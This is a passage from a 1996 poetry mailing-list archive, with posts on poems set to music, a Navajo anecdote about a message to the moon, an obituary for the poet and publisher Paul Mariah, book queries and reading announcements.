pleasant hunting/listening!

Charles

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354. **Charles Smith**
Re: music and poetry
Sat 27 Jan 1996

---

anyone remember Joseph Jarman's version of the Henry Dumas poem "Black Paladins" on the Black Saint album of the same name?

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355. **Pierre Joris**
Re: music and poetry
Sat 27 Jan 1996

> *Steve Lacy has a number of things out: "Momentum" w/ Irene Aebi sets a Brion Gysin poem & Melville's "Art." Steve Swallow's "Home" has Sheila Jordan doing Creeley. I've always had a fondness for Marion Brown's "Sweet Earth Flying" which works out of Jean Toomer.*

In fact the _best_ Creeley settings to music is Steve Lacy's song-cycle (20 Creeley poems) called _FUTURITIES_ (hat hut cd 6031). Lacy has in fact set a number of poems by a great variety of poets to music -- rumor credits him with close to a thousand compositions.

Pierre

↑ Index

356. **Steve Carll**
Re: music and poetry
Sat 27 Jan 1996

At 02:13 AM 1/27/96 -0600, Phil Hammond wrote:

> *I'm interested in poems that have been set to music, music inspired by poets, music made by poets, etc.*

Donovan did a whole album of poems set to music. I can't remember the name of the album and it's long out of print and hasn't been reissued on CD, but it includes Poe's "Eldorado" and poems by Yeats and Lorca. You could check out the discography at the Donovan WWW site if you're in need of a title. Donovan also does a tune called "Under The Greenwood Tree" with lyrics by Shakespeare on the _Gift From a Flower to a Garden_ Lp.

A group called The Story set two E.E. Cummings poems to music, "damn everything but the circus" and "love is more thicker than forget" on their album _Grace and Gravity_

How about The Velvet Underground's "Delmore Schwartz" from the _...and Nico_ album?

Iron Maiden did a hatchet job on Coleridge's "Kublai Kahn."

The Fugs' first album contains versions of works written by William Blake and A.C. Swinburne.

Ginsburg's been known to accompany himself at readings, and there's a compilation album put out by _The Birth of Tragedy_ magazine called _Fear, Power, God_ that has a couple of cuts by Allen with instrumentation, as well as a sermon by Anton Lavey (of the Church of Satan) where the music swells in the background as the sermon climaxes (Satanism doesn't get any more amusing than this, lemme tell ya).

Michael McClure has been collaborating for some years with Ray Manzarek of The Doors on piano. Don't know if there's any recordings about by them, but you'd think there would be.

David Meltzer and Clark Coolidge had a band in the 60's called The Serpent Power that released at least two albums that I'm aware of. They recently toured again as MIX, but that project is on hold due to the death last summer of MIX's third member, David's wife Tina.

Then there's all kinds of name-dropping we could discuss (Dickinson and Frost in Simon & Garfunkel's "The Dangling Conversation," or Keats and Yeats in The Smiths' "Cemetary Gates".)

Patti Smith? Jim Carroll? Bob Dylan? Jim Morrison? Joni Mitchell? John Lennon? Lou Reed? Dylan? Nick Drake? Michael Stipe? The Last Poets (or Gil-Scott Heron or any of their descendants in the hip-hop nation like Michael Franti, currently of Spearhead)? Ends up depending on where you want to draw the line (IF you do) between a poet and a lyricist. And it might be pointed out that they didn't use to.

Steve

↑ Index

357. **Robert Drake**
Re: music and poetry
Sun 28 Jan 1996

> *In fact the _best_ Creeley settings to music is Steve Lacy's song-cycle (20 Creeley poems) called _FUTURITIES_ (hat hut cd 6031).*

not to argue *best*, but i'm kinda fond of the Mercury Rev single featuring Creeley... can't remember th name...

lbd

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358. **Wendy Battin**
Moon & Earth
Sun 28 Jan 1996

A little context for Tuba City: when a sandstorm ate the solenoid out of my $50 Fiat back in the '70's, I ended up stranded there & slept in the back while a Chicago-born jd infomed me endlessly through the vent that he hadn't seen a white chick in years. Three of the four corners there were truckstops. The fourth was the Navajo Tribal Council. I was a poet/astronomy student then, and despite the fact that I was an anglo (well, celt) female, I spent the 2 days it took to get a solenoid from Flagstaff happily ensconced among Navajo elders who watched the sky. They were well informed about observations at Kitt Peak, and I expect they're keeping abreast of the Hubble data. If you lived under that sky, you would, too.

Wendy
>----------
>
>Date: Sat, 27 Jan 1996 03:30:52 -0800
>From: Ron Silliman <[redacted]>
>Subject: moon message
>

>When this showed up on The Sixties list yesterday, I read it as a
>contribution to the discussion of creoles, pidgins and ideo(idio)lects.
>So I'll repost it here.
>- - - - - - - - - - - - TEXT OF ORIGINAL MESSAGE - - - - - - - - - - -
>-
>
>[Since I work at the Jet Propulsion Laboratory, the NASA site that
>flies Voyager, and not Los Alamos (GRRRR!), I had lunch one day with
>Peterson Zha, then President of the Navajo Nation. He told us the story
>and to make sure it's told properly I'll tell it again as it was told.]
>
>
> About 1966 or so, a NASA team doing work for the Apollo moon mission
>took the astronauts near Tuba City where the terrain of the Navajo
>Reservation looks very much like the Lunar surface. With all the
>trucks and large vehicles were two large figures that were dressed in
>full Lunar spacesuits.
>
> Nearby, a Navajo sheep herder and his son were watching the strange
>creatures walk about, occasionally being tended by personnel. The two
>Navajo people were noticed and approached by the NASA personnel. Since
>the man did not know English, his son asked for him what the strange
creatures were and the NASA people told them that they are just men
that are getting ready to go to the moon. The man became very excited
and asked if he could send a message to the moon with the astronauts.

The NASA personnel thought this was a great idea so they rustled up a tape recorder. After the man gave them his message they asked his son to translate. His son would not.

Later, they tried a few more people on the reservation to translate and every person they asked would chuckle and then refuse to translate. Finally, with cash in hand someone translated the message, "Watch out for these guys, they come to take your land."

--Charles Phillip Whitedog, Ojibway and Network Manager
Multimission Ground Systems Office (Mission Control),
Jet Propulsion Laboratory, NASA

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359. Chris Stroffolino
Re: Paul Mariah
Sun 28 Jan 1996

Maria(h): No, I didn't mean anything necessarily PERSONAL viz-a-viz you and Ron. I suppose I was trying to use the mariah issue to bring up the red heroing once again of the alleged anti-hero stance of ron, etc... (mistake, actually, HERRING!)--- well, as blake would say "would all the world were prophets" or something. I guess I have a tendency to read TOO MUCh into your posts maria, cs

↑ Index

360. cris cheek
moon messages
Sun 28 Jan 1996

Thanks to Ron and Wendy for their moon related material - more moon stuff ? anybody.

About 15 years ago Paige Mitchell played me tapes taken from NASA 'recordings' (I too enjoyed the Capricorn One scenario), of one of the manned moon missions. What I remember most vividly is the level-headed, specialist, observation of one of the crew as they approached the surface site for module landing. The comments (his), ran along the lines of "Oh man, just look at that rock down there!" to which NASA interjected the useful commentary "that's the professional geologist talking".

love and love
cris

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361. Ron Silliman
Fwd: poemsetting
Sun 28 Jan 1996

Re my comments on Charles Shere's settings, he adds this:

I am currently working on two pieces: Rakosi's "The Old Poet's Tale" and Stein's "Composition as Explanation."

Ron Silliman

↑ Index

362. **Mark Roberts**
Re: music and poetry
Sun 28 Jan 1996

>At 02:13 AM 1/27/96 -0600, Phil Hammond wrote:
>
>>I'm interested in poems that have been set to music, music inspired by
>>poets, music made by poets, etc.
>
In Australia Robyn Archer released a album in the 70's called THE WILD GIRL IN THE HEART in which she put to music poems by contemporary Australian poets. The album was banned by a number of recored shops as it contained a poem by Rae Desmond Jones called 'The deadshits'. As a result the album gained some free publicity and sold many more copies trhan it would have otherwise.

Robyn Archer is now, I believe, the director of the Adelaide Festival.

Mark

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363. **Loss Glazier**
H. Chopin
Sun 28 Jan 1996

Could anyone let me know--I was sure I'd read somewhere recently about a special H. Chopin issue of a magazine (?--perhaps this is a new collection in a book??). I can't seem to remember where I read this but I thought someone might be able to tell me. Thanks!

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364. **James Perez**
Re: music and poetry
Sun 28 Jan 1996

---

not that it really matters, but I think it was actually "Rhyme of the Ancient Mariner" that Iron Maiden "hatchets." I'm not a fan of Iron Maiden or the song, but I'm uncomfortable with these opinions of musicians getting the "wrong" music for the poetry. Aren't you assuming that the musician wants the same thing you want (I'm not just talking about Iron Maiden any more, but in that case at least a lot of people in black t-shirts listened to a poem that their teachers couldn't make them read). Aside from the paranthetical though, setting music to poetry can have a lot of different reasons and has its own genres to which the poetry is being transformed.

James Perez
[redacted]

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365. **James Perez**
Re: music and poetry
Sun 28 Jan 1996

---

sorry, should have said this in the first post, but it just hit me.

The comment that a poem hadn't been set to music in the "spirit of the work" (sorry I don't have a fancy-type e-mail reader, so I just have to call things up from memory).

This idea of the spirit of the work bothers me. What would good music in the spirit of the work be? I guess that is when you treat the music as a type of semiotic translation as someone suggested, but that seems to be only one way of doing things, and in my opinion an equivalent to a vanilla movie sound track. Music that doesn't follow the spirit of the work is more interesting to me, as it is more likely to set the work of two _different_ artists into a dialogue (but I'm into that collaborative/dialogue thing). In such a case, both artists can be appreciated as individuals equally if you open up your ears to hearing the music next to the poem rather than behind it.

And you know, it bothers me when people don't like the movie version of the book because it didn't follow the original. "The Scarlet Letter" may have been a bad movie (I actually don't know, haven't seen it), but I think the charge that it is bad because it messed around with the plot, however much is missing something. Esp. in that movie where a disclaimer says that it "liberally" interpreted the book or something like that.

James Perez
[redacted]

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366. **Aldon L. Nielsen**
Re: Joseph Jarman
Sun 28 Jan 1996

Charles Smith -- I've never seen that album -- can you give further info? Is it still available? If not, do you have a copy? If so, please repeat title & maybe catalogue info. -- I have some pages on Jarman's own poetry & on his settings of verse in new book out next year, but didn't know he'd done a Dumas poem --

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367. **Aldon L. Nielsen**
Re: Kaufmaniacs
Sun 28 Jan 1996

Maria, Kathrynnnnneee, or anyone else who might have this -- Do you have a xerox of Barabar Christian's "What Ever Happened to Bob Kaufman?"? The UCLA library seems to be missing just that issue of _Black World_, and I don't have interlibrary loan here yet -- If you've got a copy you could xerox and send, let me know backch. thanks --

↑ Index

368. **kathryne**
Re: Kaufmaniacs
Sun 28 Jan 1996

Aldon, I've got it somewhere, not, of course, in my Bob Kaufman file. I will search it out, if you don't get it by other means in the next day or so.

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369. **Janet Hoelle**
(no subject)
Sun 28 Jan 1996

I HOPE THIS WILL FINALLY CONNECT ME WITH THE UBPOETICS PAGE. I WAS JUST INFORMED THAT I AM NOW A SUBSCRIBER TO THE GROUP, BUT I AM STILL A BIT UNEASY ABOUT THIS WHOLE PROCESS, AND DON'T REALLY KNOW WHO OR WHAT IS RECEIVING MY MAIL. I HAVE SEEN SOME FAMILIAR NAMES ON THE UBPOETICS PAGE; PEOPLE WHO APPEARED WITH ME IN NEW AMERICAN WRITING AND O-BLEK.

DOES ANYONE KNOW OF ANY NEW BOOKS BY BERNADETTE MAYER, AND/OR FANNY HOWE?

I AM ALSO LOOKING FOR SOME CRITICAL WORK ON MILTON; MIGHT BE WRITING MY FINAL UNDERGRAD. PROJECT ON MILTON AND OT LITERATURE. THOUGH I'M STILL TURNING OVER DIFFERENT IDEAS, IN BETWEEN LOOKING FOR A GOOD POETICS MFA PROGRAM TO APPLY TO....I HOPE THAT I HAVE, ONCE AND FOR ALL MADE IT THROUGH TO THE OSTENSIBLE PRESENCE AT THE OTHER END OF THIS SCREEN.

PLEASE ANYONE BE IN TOUCH, AND ANY REPLY TO MY INQUIRIES WOULD BE APPRECIATED.

HAS ANYONE EVER READ NEWT HAMSON?? HE HAS APPARENTLY BEEN REPEATEDLY COMPARED TO DOSTOEVSKI, BUT THEN AGAIN SO HAS WILLIAM FAULKNER.

RSVP
NICOLE HOELLE

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370. Louis Cabri
m. rukeyser
Sun 28 Jan 1996

... can anyone tell me what library holds most muriel rukeyser materials?
thanks, louis

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371. Steve Carll
Re: music and poetry
Sun 28 Jan 1996

You're right James, it was "Rime of the Ancient Mariner", not "Kublai Kahn". And I think you might have read a little too much into my use of the word "hatchet". It was meant ironically, sorta "in the spirit of" the name of the band, and with no intended value judgment. I'm not a big fan of band or song either, but not for any of the reasons you seem to be associating me with. I too believe that when you translate a work across media, you effectively create something else and are not bound by any need to mimic the "original" work, which you're really responding to rather than simply "adapting" (though of course there's no reason you can't, in responding, *pretend* that you're simply moving the work wholesale into another medium with perfect correspondence between the two versions.)

I also forgot to mention Chris Funkhauser's wonderful _we magazine_ in my previous post, several issues of which have been released on cassette and CD, which does a great job of blending music and poetry in nearly every conceivable way they can be blended.

And then there's also Ginsburg's appearance on The Clash's "Ghetto Defendant", Steve Benson's work with Splatter Trio, blah, blah, blah...

Steve

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372. Stephen Galen Cope
Re: music and poetry
Sun 28 Jan 1996

The Mercury Rev/Creeley recording is called 'So There' and was released on a disc called 'The Hum is Coming From Her' (BBQ 5CD)...

Also: another Lacy recording of note is 'The Condor' (Soul Note-1986) which features settings of poems by Kaufman, Akhmatova, Beltrametti, and Balestrini. George Lewis' disc 'Changing With The Times' includes accomplished collaborations with Jerome Rothenberg and Quincy Troupe (among others). Actually, Troupe shows up on a Hamiet Bluiett recording called Nali Kola (Soul Note-1989). Jayne Cortez and her group The Firespitters have put out at least two recordings I know of 'Unsubmissive Blues' (Bola Press-1980) and 'Poetry and Music' (Radio Bremen-1992). Fred Houn used a Sonia Sanchez poem as part of his 'Tomorrow is Now' (Soul Note-1985). Max Roach's 'It's Christmas Again' (Soul Note-1994) is an extraordinary piece based on Bruce Wright's work... And: Marilyn Crispell and The Splatter Trio have both done 'interpretations' of Mackey's work...

There's countless others in this vein who've incorporated their own voice into musical settings (William Hooker, Billy Bang, Archie Shepp, Sun Ra, Cecil Taylor et al...)

Spoken Engine (who did Mackey's STRICK) have recently released a Nathaniel Tarn recording (and a Maxine Hong Kingston disc is rumoured to be on the way...

Sure there's more...

Stephen Cope

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373. Maria Damon
william levise
Sun 28 Jan 1996

does anyone know whatever happened to william levise, aka Mitch Ryder, of Mitch Ryder and the Detroit Wheels? there's enough r & r buffs on the list that i figured someone could tell me something...bests, maria d

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374. **Maria Damon**
Re: Kaufmaniacs
Sun 28 Jan 1996

aldon: of course my kaufman file is in mpls, and i'm on cape cod. it shouldn't be hard to get a copy from interlib. loan tho' --it's a commonly indexed periodical, no? i'm kinda relieved that yr msg wasn't a rave abt. coffee house's forthcoming (soon, coupla weeks maybe) Selected, about which i have hurt feelings, earlier enumerated. i bet barbara christian has a copy of that article she cd send you... bestests, maria d

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375. **Maria Damon**
Re: No Subject
Sun 28 Jan 1996

knut hamsun? he's terrific, esp. HUNGER, which i can't believe no one (myself included, or excluded, depending on how one includes oneself in "no one") mentioned it to marisa januzzi when she was asking about literature and hunger. actually, HUNGER is the only hamsun i've ever read, and that was in high school, but i adored it. esp there's a scene when the narrator's in jail, and he invents a word, and really trips out on it...i think (look, it's been 25 years just about)... bests, maria d

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376. **Janet Hoelle**
Re: No Subject
Sun 28 Jan 1996

MARIA,

YES, I HAVEN'T YET READ HUNGER, BUT I'VE HEARD THAT IT IS VERY SIMILAR TO THE HOUSE OF THE DEAD BY DOSTOEVSKI. HOWEVER, I DON'T THINK I'LL MAKE IT TO THE HOUSE OF THE DEAD, BECAUSE THE DOUBLE IS HIGHER ON MY LIST OF PRIORITIES. RIGHT NOW I'M READING THE TOWN AND THE CITY, WHICH WAS OF COURSE KEROUAC'S FIRST NOVEL, AND IT SHOULD BE DISCUSSED MORE, EVEN THOUGH IT ISN'T AS CAPTIVATING AS SAY, MAGGIE CASSIDY OR DR. SAX, AND IT SOUNDS LIKE IT'S TRYING TO SOUND LIKE THOMAS WOLFE, IT IS NONETHELESS A REPUTABLE NOVEL, AND I THINK EVEN BETTER THAN DOSTOEVSKI'S FIRST NOVEL, POOR PEOPLE, WHICH WAS A WAILING FAILURE. HOWEVER, SURELY HIS ONLY FAILURE. THANKS FOR THE INFO. ON THE JOURNAL, ALDON? IS THAT CORRECT? BESTS, NICOLE

↑ Index

377. **Janet Hoelle**
Re: No Subject
Sun 28 Jan 1996

> *MARIA,*
>
> *YES, I HAVEN'T YET READ HUNGER, BUT I'VE HEARD THAT IT IS VERY SIMILAR TO*
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> *BESTS, NICOLE*

↑ Index

378. **Janet Hoelle**
Re: No Subject
Sun 28 Jan 1996

> *MARIA,*
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> *SOUNDS LIKE IT'S TRYING TO SOUND LIKE THOMAS WOLFE, IT IS NONETHELESS A*
> *REPUTABLE NOVEL, AND I THINK EVEN BETTER THAN DOSTOEVSKI'S FIRST NOVEL,*
> *POOR PEOPLE, WHICH WAS A WAILING FAILURE. HOWEVER, SURELY HIS ONLY FAILURE.*
> *anyway, for now,*
> *BESTS, NICOLE*

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379. **Ron Silliman**
Re: music and poetry
Mon 29 Jan 1996

James Perez,

In theory you're right of course. Two very different people could do a lot by bringing different sensibilities to such a project. But Reich's version of WCW is closer to a butchered translation. It's not akin to the project of Charles Shere working with Carl Rakosi on that work. Williams sensibility is much closer to the work, say, of a Satie or even a Copland than the overwrought baroque feel that Reich has gotten into in his post-minimalism phase. If ever there was a poem that did NOT feel like a doilie, it's Desert Music. It's an act of appropriation at its worst or, if you want to be charitable, Reich's a terribly sloppy reader.

Actually, nobody's mentioned either Charles Bernstein's operas nor the work that Virgin Thompson did with G. Stein. Do operas count?

Ron Silliman

↑ Index

380. **R I Caddel**
Re: music & poetry
Mon 29 Jan 1996

--- oodles more, again ---

Brian Eno's use of Kurt Schwitters ("Kurt's Rejoinder" on "Before & after science");

John Casken's settings of Bunting, Creeley and Turnbull, descending sadly to John Silkin;

the recent 2v collection of Herbert Howells' deft, exciting settings of some of the direst english poetry from the first half of the century -- De La Mare stands out as a goody, then it's W.W.Gibson and the like all the way.

so many composers seem to've picked awful poems to set : Schubert as much as any -- is it an excuse to say they're A FRIEND's awful poems? Or did they just not care?

is all this listing any help to the bloke who originally asked the question?

x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted] x

↑ Index

381. Rachel Loden

Paul Mariah

Mon 29 Jan 1996

Paul Mariah was indeed a powerful reader of his own poems. And he did something in between the poems that I very much appreciated, 25 years ago: he talked (sometimes with apparent pain) about his struggle to publish them in U.S. magazines. Since they were admirable poems, and he had persisted to publication, he became a model of useful stubbornness.

A brave and lovely guy. I found this in the SF Chronicle (Ron's was much better):

The San Francisco Chronicle, JANUARY 25, 1996

HEADLINE: Paul Mariah

BYLINE: Stephen Schwartz

BODY: A memorial will be held next month for Paul Mariah, a pioneer of the gay literary scene in San Francisco during the 1960s and 1970s. Mr. Mariah died of pneumonia January 12. He was 58.

Mr. Mariah was born in Whittington, Ill. but long resided in the Bay Area. He had served time in prison before coming to San Francisco. In a 1977 newspaper article, his prison experiences were cited as crucial to his personal and literary development.

He started Manroot Books and a literary magazine with the same title in 1969. A dozen issues of the magazine appeared, along with 30 monographs. His enterprise published many leading writers of the time, including notable editions of such major poets as Jack Spicer, James Broughton, Robert Peters, and Thom Gunn.

Mr. Mariah also issued bilingual editions of Jean Cocteau and Jean Genet, and revived interest in the work of Robert Ingersoll, the 19th century prison

reformer and social critic.

His own poetry appeared in two collections, ''Personae Non Gratae'' in 1971 and ''This Light Will Spread'' in 1978.

Mr. Mariah was also prominent in the movement for prisoners' rights.

He is survived by his mother, Ada Jones; a brother, George W. Jones; and a sister, Mary Alice Sims, all of Benton, Ill.

A memorial will be held at 3 p.m. February 11 at the Sonoma Community Center, 276 East Napa, Sonoma. Memorial contributions are requested for the San Francisco Public Library.

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382. Schuchat
Re: music and poetry
Mon 29 Jan 1996

The Steve Reich version of THE DESERT MUSIC doesn't, admittedly, sound much the surface of the Williams poem, but there seems to me a way in which it taps into some nervous energy within the poem. That's the one with the striptease in the bar, that ends with Williams' shouting "I am a poet!"

Williams mentions a breathtaking Casals performance, obviously that is not the same music as Reich's, but equally, is it Eric Satie ambient music? Isn't there a little more tension in Williams overall? More like Ornette Coleman?

↑ Index

383. Paul Naylor
Tarn CD
Mon 29 Jan 1996

Stephen Cope's right, we (Spoken Engine) have just released our second CD, Nathaniel Tarn's _I Think This May Be Eden_, with music composed by Billy Panda. The selections cover most of Tarn's career -- from _The Beautiful Contradictions_, _Lyrics For The Bride Of God_ (including a stunning rendition of "Section: America (2): Seen As A Bird"), _Seeing America First_,and four sections of _Architextures_.

This CD, as well as Nathaniel Mackey's _Strick_, is available for $14 (postage paid) from _Spoken Engine_, P.O. Box 771739, Memphis, TN 38177-1739 or through Small Press Distribution.

And we are working on a CD with Maxine Hong Kingston. We've been trying to get her to change her name to Nathaniel Hong Kingston for continuity's sake, but she seems resistant for some reason.

Paul Naylor

MAIL
SEND
in%"[redacted]"
in%"[redacted]"

SEND
in%"[redacted]"
in%"[redacted]"

↑ Index

384. Jordan Davis
Re: music and mercury
Mon 29 Jan 1996

Luigi or Stephen,

What's th' Mercury Rev album? an early work? God they're good.

Virgin Thompson (as he would have no doubt smiled to be called) also set a number of poems by Kenneth Koch. Ned Rorem has set oodles of poems by John Ashbery and Kenneth Koch. There was an evening at Alice Tully Hall a year or so ago of eighteen composer's settings of a single John Ashbery poem.

On another tack, are they any good settings of music into petry we should no about? (Sticky Fingers, Shelter from the Storm come to mind).

Jordan

↑ Index

385. Rae Armantrout
Re: No Subject
Mon 29 Jan 1996

Dear Nicole,

Fanny Howe's latest book is O'Clock from Reality Street. A new one, Q, is due out pretty soon from the same press.

Rae Armantrout

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386. Edward Foster
Re: biographies...
Mon 29 Jan 1996

for what it may not be worth, reynold's book is good of its sort. it does help recapture words sacred to whitman that have shifted their "meanings" if not their sounds over time. but like such efforts generally, the book sees poems as products of culture, time, personality, what-have-you. alas the grass.

↑ Index

387. Pierre Joris
MILLENNIUM READING NYC
Mon 29 Jan 1996

For those in New York City & surrounds:

On Friday, Feb 2nd, 10.30 p.m. at the St Marks Poetry Project will take place a reading/celebration from & of

POEMS FOR THE MILLENNIUM:The University of California Book of Modern & Postmodern Poetry, edited by Jerome Rothenberg & Pierre Joris

Taking part in the reading:

Charles Bernstein
Pierre Joris
Jackson Mac Low
Nicole Peyrafitte
Armand Schwerner
Cecilia Vicuna

The anthology will be on sale -- the wine, however, will be for free!

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]| ==========

↑ Index

388. Janet Hoelle
Re: No Subject
Mon 29 Jan 1996

Dear Rae,

Thank you for the info. Once upon a time I owned Introduction To the World and The Vineyard, but I let someone borrow them, big mistake! Still have Robeson Street in my possession, but am looking for something new. How about Bernadette Mayer? Has she published anything new recently? Thanks. For now,

BESTS,
NICOLE HOELLE

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389. Kevin Killian
SPT Upcoming Events
Mon 29 Jan 1996

As part of our "Small Press Partners" series, Small Press Traffic will host 5 Friday night (7:30 p.m.) readings at New College, 777 Valencia Street, San Francisco.

February 2--Chax Press Authors
Myung Mi Kim
Margy Sloan

March 15--Hard Press Authors
Tan Lin
Kevin Killian

April 19--O-Books Authors
Norma Cole
Rodrigo Toscano

April 26--Kelsey St. Press Authors
Erica Hunt
Camille Roy

May 3--Talisman House
An evening celebrating Stephen Jonas, with Will Alexander, Aldon Nielsen, and Joe Torra

---
SMALL PRESS TRAFFIC SPECIAL EVENTS

Thursday, March 28, 8 p.m. at the Lab, 2948 16th Street, San Francisco

An all-star revival of Kevin Killian's play "Island of Lost Souls" *******

Saturday, March 30, 7:30 p.m. at New College
Rae Armantrout
Fanny Howe

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390. **Charles Smith**
Re: Joseph Jarman
Mon 29 Jan 1996

Aldon,

Joseph Jarman's "Black Paladins" appeared in 1980 as Black Saint 0042. It's a trio with Famoudou Don Moye & the late Johnny Dyani. Most of the BS records were reissued on cd; I've no idea if this is still available or not. I've still got my large vinyl collection & wd be willing to make you a tape if you can't locate it anywhere.

goo d luck,

Charles

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391. **Steve Carll**
Gustaf Sobin
Mon 29 Jan 1996

Anybody out there know if Gustaf Sobin's still got appearances scheduled in Berkeley and Stanford, or the S.F. area in general? I haven't seen any announcements anyplace, although _Poetry Flash_ mentions a reading at Beyond Baroque in Venice February 2nd.

Steve

↑ Index

392. **Burt Kimmelman**
(no subject)
Mon 29 Jan 1996

---

did someone recently send something about Rakosi's
"Old Poet's Tale"? If so, could it please be repeated; I'm afraid I was
a bit too quick on the delete key. Sorry.

Burt Kimmelman

↑ Index

393. Alan Golding
Music and poetry
Mon 29 Jan 1996

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

One apparently major anomaly that ends up working great is The Fugs' "Dover Beach" on their comeback double album from the late 70s/early 80s (don't remember the title, but I have it at home if anyone wants). They also have a wonderful song on that album that features Dickinson and Keats free-wheel(chair)ing through the Golden Bards Retirement Home, with some lovely renderings of snippets of ED ("Were I with thee / Wild nights would be . . ." and others).

Alan

↑ Index

394. cris cheek
Madge and Pandaemonium / beside reading
Mon 29 Jan 1996

David Kellogg was asking about Pandaemonium. In fact it was written or should I say compiled by Humphrey Jennings who I mentioned in Madge's wake. Jennings together with Madge and Tom Harrison founded Mass Observation together in 1937. Madge contributes an introduction to 'Pandaemonium' (subtitled - the Coming of the Machine as seen by Contemporary Observers) and himself worked on the manuscript, while the edition I have is edited by Humphrey's daughter Mary-Lou (Macmillan, 1995).

It's an anthology edited from twelve books. Of the selection Jennings said 'The presence of Imagination is apprehended by the Imagination: therefore the reasons for choice are not reasonable'. Materials are grouped under the dates and titles:

1660 - 1729 : Observations and Reports
1730-1790: Exploitation
1791-1850: Revolution
1851-1886: Confusion

the Revolution section by far the fattest. It's worth seeking out. Jennings worked on the manuscript between '37 and 1950 when he himself died.

It's hovering somewhere on a table which holds the back-burners for the edge of my current bedside batch, along with -

Blaise Cendrars 'Complete Poems' translated by Ron Padgett (University of California, 1992) - terrific work and terrific translations

Keston Sutherland and Andrea Brady '20 Poems' (Barque, 1995) - two young poets here who interest me

'o(rphan) d(rift)' (Cabinet Editions, 1995) - over 400 pages of writings from the eponymous collective (very interesting) 'orphan drift is spreading, signal with no memory' , 'this is flatline country' / same sort of territory as Collapse magazine

Allen Fisher 'Fish Jet' (Torque, 1995) - part of his current hot deliveries from the ongoing 'gravity as a consequence of shape' as is the smaller but no less notable ''Now's the Time' (from Books, 1995)

Walter Benjamin 'One Way Street and other writings' (Verso, 1985) - a current fave crit theory dip along with

Bakhtin's soaring 'Rabelais and His World' (Midland, 1984)

Peter Burke's 'Popular Culture in Early Modern Europe' (Scolar, 1994) - an energising tandem with the Bakhtin

Charles Alexander's 'Hopeful Buildings' (Chax, 1990) - which I'm reviewing and very much enjoying

a special issue of Parataxis given over to 'Original: Chinese Language-Poetry Group (Parataxis, 1995) - Zhou Yaping has particularly caught my eye

and Robert Smithson 'Le Paysage Entropique' (an excellent and extensive 312 page catalogue from a retrospective at the Museum of Marseilles 1995) - I'm in a Smithson phase right now, somewhat later than many I know but hit in deep at last, whereas an interest has been lurkng for years

well, that's what's by the bed. Can't imagine how I ever get the time to sleep. But i still do yet

love and love
cris

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395. FUNKHOUSER CHRISTOPH

Imaginary Universe WWW Poet of the Week

Mon 29 Jan 1996

Anyone ever catch the rad NYC hip-hop poetry group BOOM POETICS? Are they still together?

Making a list of poetry / music collisions
which I'll try to post later.

For now:

Announcing

the Imaginary Universe's WWW POET OF THE WEEK Web Site

()

To connect: http://rachel.albany.edu/~cf2785

last week's recipient: Jenny Holzer

Be sure to check out Holzer's interactive TRUISMS, which
are accessible via the above address.

Submit your nominations!

-chris f

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396. **Steve Carll**

Re: Japanese poetry and elitism (follow-up)

Mon 29 Jan 1996

At 10:53 AM 1/26/96 +0900, you wrote:
>Here's a follow-up on the issue of elitism and Japanese poetry from my
>colleague, Takashi Wakui, who wrote a dissertation on the history of
>"gendai shi" or "modern poetry" in Japan. Please send comments directly to
>him. He seems to be too busy to subscribe to the Poetics list. By the
>way, he has recently put John Geraet's reading on his w.w.w. homepage. The
>URL is http://lang.nagoya-u.ac.jp/~wakui/. (Click "Video.")
>
>Akitoshi Nagahata
>Faculty of Language and Culture
>Nagoya University
>[redacted]
>
>
>Hi. I'm a colleague of Akitoshi's. He is my linked verse (renga) mate.
>He studies modern and post modern American poetry but writes well crafted
>renga verses replete with classical diction and allusions to traditional
>Japanese literature. I'm usually the one who shakes up the learned
>classical tone and brings the course of narrative to our world of the late
>20th century. But that doesn't mean I'm at war with the tradition. As
>Akitoshi himself says, a certain amount of sophistication is essential for

>poetry, be it "gendaishi" or traditional verse such as tanka, renga, or
>haiku. I agree with him completely on that point. There is pop music and
>serious music. Similarly there is pop poetry (lyrics to pop music) and
>serious poetry. The word "elitist" is a non neutral and usually derogatory
>term used by those who are faction conscious. The best tactic to deal with
>such name calling is to simply ignore. However, if you have anxiety about
>the diminished readership of the kind of poetry you write and feel
>defensive about it, you might end up overreacting to the attack and mutter
>something like, "but it's money that's elitist". What does that mean?
>Everybody knows that money is unfairly shared, there is no money in poetry
>unless you are a Bob Dylan or a Paul Simon (if you want money write like
>Paul Simon!!), etc. Wouldn't you think, by the same token, that your
>ability to express yourself thru your type of poetry (be it language
>poetry, new formalist, renga, etc) is also unevenly shared by the general
>public thus resulting in a small readership? Yes. You are degrading
>yourself if you counter the charge of eliticism by invoking the evils of
>capitalism, because you are thus betraying your defensiveness and anxiety
>about your existance as a poet. Let's recall John Cage and Milton Babitt.
>The former said something to the effect: sure, you can do the same thing;
>why don't you do it? The latter's reply was: I wouldn't give a damn if
>nobody listened. These people are/ were at peace with themselves. They
>know/ knew that they were limited by their genes and history so that they
>could only create in a certain number of ways.
> Akitoshi's account of the "popularity of poetry" in Japan is
>accurate. As far as I know there exist no tv programs on "gendai shi",
>although some universities and other schools offer creative writing courses
>that teach you to write such a type of non traditional (neither tanka,
>renga, haiku, etc.) poetry. The short traditional forms are "popular"
>precisely because they are relatively easy to compose due to their brevity
>and well established codes and conventions. Even a not so smart emperor
>can compose a tanka poem in the classical mode, becasue all he has to do is
>to fill in the blanks of a preestablished form. But this doesn't mean all
>contemporary tanka and haiku are popular and easy to read. There are a
>certain number of haiku and tanka poets who write for the "elite" readers.
>My personal view is that even such poetry is easier to write than the
>longer form, precisely because it's short. I sometimes wonder why such
>poets wouldn't try their hands at the longer form. I suspect that they
>might be like Japanese professional baseball players who are content with
>playing in Japan. Not many are like Nomo who risked failure to play in a
>more challenging world.
>--takashi wakui [redacted]

>
>

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397. **Steve Carll**
Re: Paul Mariah
Mon 29 Jan 1996

At 03:11 AM 1/26/96 -0800, you wrote:
>Poet, editor and publisher of Manroot books, Paul Mariah died of
>pneumonia on January 12. He was 58.

The last time I saw him was at the Eigner
>celebration at the University Art Museum in Berkeley a couple of years
>ago. He was surprisingly frail, with a long beard, full of humor and
>playing the Ancient Fairye role to the hilt.

